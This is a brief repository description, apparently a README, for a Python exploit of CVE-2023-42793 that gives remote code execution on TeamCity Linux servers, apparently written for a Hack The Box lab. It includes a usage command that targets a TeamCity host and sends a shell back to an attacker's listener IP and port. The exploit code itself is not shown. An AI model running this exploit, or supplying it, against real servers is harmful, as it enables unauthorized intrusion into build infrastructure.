hhesenjan/cve-2023-42793Python exploit for CVE-2023-42793 that achieves remote code execution on TeamCity Linux servers by encoding a payload in a URL and sending it to the target.
You will need to obtain the token first through using different exploit. However, the following exploit will allow you to obtain RCE into the Linux server as it encoded the payload in URL and sends it to the server.
python3 ./main -t TEAMCITY_TOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENER_IP -np LISTENER_PORT